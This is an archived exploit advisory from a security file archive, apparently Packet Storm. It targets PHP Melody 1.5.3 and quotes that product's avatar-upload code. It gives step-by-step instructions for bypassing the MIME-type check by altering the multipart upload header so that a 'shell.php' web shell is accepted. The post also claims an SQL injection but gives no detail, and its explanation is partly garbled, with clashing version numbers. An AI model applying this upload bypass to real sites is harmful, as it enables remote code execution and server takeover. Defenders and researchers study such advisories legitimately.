exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Melody 1.5.3 File Upload

PHP Melody 1.5.3 File Upload
Posted Jul 23, 2009
Authored by Chip D3 Bi0s

PHP Melody version 1.5.3 suffers from a remote file upload and SQL injection vulnerabilities.

tags | exploit, remote, php, vulnerability, sql injection, file upload
SHA-256 | 578183abffa2b682eadaf863479e76409411940b1fbf01c875cb6b8a274a1947

PHP Melody 1.5.3 File Upload

Change Mirror Download
---------------------------------------------------
PHP Melody 1.5.3 remote injection upload file
---------------------------------------------------
###################################################
[+] Author : Chip D3 Bi0s
[+] Email : chipdebios[alt+64]gmail.com
[+] Group : LatinHackTeam
[+] Vulnerability : SQL injection
###################################################

---------info Cms----------------
name : PHP Melody version 1.5.2
email : support@phpsugar.com
dowloand : http://www.phpsugar.com
web : http://www.phpsugar.com
price : $39 USD
---------------------------------


File: Upload_avatar.php

37. if(preg_match("/.jpg/i", "$filein"))
38. {
39. $format = 'image/jpeg';
40. }
41. if (preg_match("/.gif/i", "$filein"))
42. {
43. $format = 'image/gif';
44. }
45. if(preg_match("/.png/i", "$filein"))
46. {
47. $format = 'image/png';
48. }
49. switch($format)
50. {
51. case 'image/jpeg':
52. $image = imagecreatefromjpeg($filein);
53. break;
54. case 'image/gif';
55. $image = imagecreatefromgif($filein);
56. break;
57. case 'image/png':
58. $image = imagecreatefrompng($filein);
59. break;
60. }
------------
136. $url = $_FILES['imagefile']['name']; // Set $url To Equal The Filename For Later Use
137. if ($_FILES['imagefile']['type'] == "image/png" || $_FILES['imagefile']['type'] == "image/gif" || $_FILES['imagefile']['type'] == "image/jpg" || $_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/pjpeg") {
138. $file_ext = strrchr($_FILES['imagefile']['name'], '.'); // Get The File Extention In The Format Of , For Instance, .jpg, .gif or .php

--------------------------------
explanation:

according to the code it does is see if the http, it is
'image/jpeg';'image/gif';'image/png';
If not upload

how to exploit:
you must first register
then upload the avatar you ever so upload_avatar.php
there will have to change the header


header with a proper imagen.gif looks like

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="imagen.gif"\r\n
Content-Type: image/gif\r\n\r\n

the header when you upload a shell.php looks like

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n


then just change it and let q and so can upload *. php

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n



Special greetings to my brother d4ng3r ;)
+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close